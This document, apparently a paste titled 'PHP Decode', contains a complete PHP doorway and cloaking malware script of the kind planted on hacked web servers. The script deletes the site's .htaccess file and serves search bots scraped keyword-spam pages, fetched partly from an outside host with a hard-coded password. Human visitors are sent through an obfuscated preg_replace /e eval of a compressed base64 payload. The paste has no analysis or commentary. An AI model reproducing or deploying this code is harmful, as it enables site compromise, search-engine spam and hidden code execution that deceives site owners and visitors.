PHP Decode

<?php 
 
$f1 = ".ht"; $f2 = "acc"; $f3 = "ess"; 
$ff = $f1.$f2.$f3; 
 
if (file_exists($ff)) chmod ($ff, 0777); 
if (file_exists($ff)) unlink ($ff);	 
 
$cache_folder = "wtuds"; 
$template_folder = "sotpie"; 
 
$user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', 
                               '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', 
                               '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i', 
                               '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', 
                               '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', 
                               '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', 
                               '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', 
                               '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', 
                               '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', 
                               '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', 
                               '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', 
                               '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', 
                               '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i', 
                               '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#altavista#i', 
                               '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i', 
                               '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i', 
                               '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i', 
                               '#charlotte#i', '#ngb#i', '#BingBot#i' ) ; 
 
if ( !empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE !== strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) ){ 
    $isbot = 1; 
	} 
 
if( FALSE !== strpos( gethostbyaddr($_SERVER['REMOTE_ADDR']), 'google'))  
{ 
    $isbot = 1; 
} 
 
 
 
if ($isbot) 
{ 
	 
	$myname = $cache_folder."/".$_GET["vm"]; 
	if (file_exists($myname)) 
	{ 
	$html = file($myname); 
	$html = implode($html, ""); 
	echo $html; 
	exit; 
	} 
	 
$template = scandir($template_folder); 
$template = $template[rand(2,sizeof($template)-1)]; 
$tpl = $template_folder."/".$template; 
$tpl = file($tpl); 
 
 
$keyword = str_replace("-", " ", $_GET["vm"]); 
$keyword = chop($keyword); 
$keyword = ucfirst($keyword); 
 
 
 $query_pars = $keyword; 
 $query_pars_2 = str_replace(" ", "+", chop($query_pars)); 
 $query_pars_2 = mb_strtolower($query_pars_2); 
 
 $text = "";  
  
 $ch = curl_init();   
curl_setopt($ch, CURLOPT_URL, "http://boriskq.pw/story2.php?q=$query_pars_2&pass=qwerty8");  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
$text = curl_exec($ch);  
curl_close($ch); 
  
 if (strlen($text)<1000) 
 { 
  
for ($page=1;$page<3;$page++) 
	{ 
	 $ch = curl_init();   
curl_setopt($ch, CURLOPT_URL, "https://www.ask.com/web?q=$query_pars_2&qo=pagination&qsrc=998&page=$page");  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6'); 
$result = curl_exec($ch);  
curl_close($ch); 
//echo $result; 
$result = str_replace("
", "", $result); 
$result = str_replace("
", "", $result); 
preg_match_all ("#PartialSearchResults-item-abstract\">(.*)</p>#iU",$result,$m); 
foreach ($m[1] as $a) $text .= $a; 
	} 
	 
			for ($google_n=0;$google_n<11;$google_n=$google_n+10) 
	{ 
		$ch = curl_init();   
curl_setopt($ch, CURLOPT_URL, "http://www.google.com/search?q=$query_pars_2&start=$google_n");  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
//curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6'); 
$result = curl_exec($ch);  
curl_close($ch); 
$result = str_replace("
", "", $result); 
$result = str_replace("
", "", $result); 
	preg_match_all ("#<span class=\"st\">(.*)</span>#iU",$result,$m); 
		foreach ($m[1] as $a) $text .= $a; 
} 
	 
 
for ($page=1;$page<13;$page=$page+10) 
{ 
$ch = curl_init();   
curl_setopt($ch, CURLOPT_URL, "http://search.yahoo.com/search?p=$query_pars_2&fr=yfp-t&fr2=sb-top&fp=1&b=$page&pz=10&bct=0&xargs=0");  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"); 
$result = curl_exec($ch);  
curl_close($ch); 
//////////////echo $result; 
		preg_match_all ("#<p class=\"lh-16\">(.*)</p></div>#iU",$result,$m); 
		foreach ($m[1] as $a) $text .= $a;	 
} 
	 
$text = str_replace("...", "", $text); 
		$text = strip_tags($text);  
		$text = str_replace("  ", " ", $text); 
		$text = str_replace("  ", " ", $text); 
		$text = str_replace("  ", " ", $text); 
		$text = str_replace("  ", " ", $text); 
		$text = str_replace("  ", " ", $text); 
		$text = str_replace("  ", " ", $text); 
		$text = str_replace("  ", " ", $text); 
 
		$text = explode(".", $text); 
		shuffle($text); 
		$text = array_unique($text); 
		$text = implode(". ", $text); 
 } 
 
     	$html = implode ("
", $tpl); 
/*		 
$titlename = $_SERVER['SERVER_NAME'];	 
$titlename = explode(".", $titlename); 
$titlename = strtoupper($titlename[0]); 
if (strlen($titlename)>1) $html=str_replace("<title>{keyword}</title>", "<title>$keyword | $titlename</title>", $html);		 
	*/	 
		$html = str_replace("{keyword}", $keyword, $html); 
		$html = str_replace("{manytext_bing}", $text, $html); 
		 
		$out = fopen($myname, "w"); 
		fwrite($out, $html); 
		fclose($out); 
 
		echo $html; 
		 
}	 
 
if(!@$isbot) 
{ 
 
$keyword = str_replace("-", " ", $_GET["vm"]); 
$keyword = str_replace(" ", "+", $keyword); 
 
$ref = $_SERVER["HTTP_REFERER"]; 
$d = $_SERVER["HTTP_HOST"]; 
$mykeys  = $_GET["vm"]; 
 
$RN5255 = "0hz14bp35wvtr)u6je79iq2_o;xklncm(gsfd*ya/8.";$wW7675 = $RN5255[6].$RN5255[12].$RN5255[17].$RN5255[33].$RN5255[23].$RN5255[12].$RN5255[17].$RN5255[6].$RN5255[28].$RN5255[39].$RN5255[30].$RN5255[17];$kJx5370 = "ev".chr(97)."".chr(108)."(".chr(103)."".chr(122)."".chr(105)."n".chr(102)."".chr(108)."ate(b".chr(97)."se6".chr(52)."".chr(95)."decod".chr(101)."".chr(40)."";$HZzOdat3568 = "".chr(41)."));";$nI504 = $kJx5370."'y0hNTEkt0lDyyU9OLMnMz7NSyCgpKbDS109OTMsvqszTKyjXBzL0zc3tU2xVUtRyK7NTK4ttVSC0kqY1AA=='".$HZzOdat3568;$wW7675($RN5255[40].$RN5255[42].$RN5255[37].$RN5255[40].$RN5255[17], $nI504  ,"691"); 
 
 
exit; 
} 
 
?>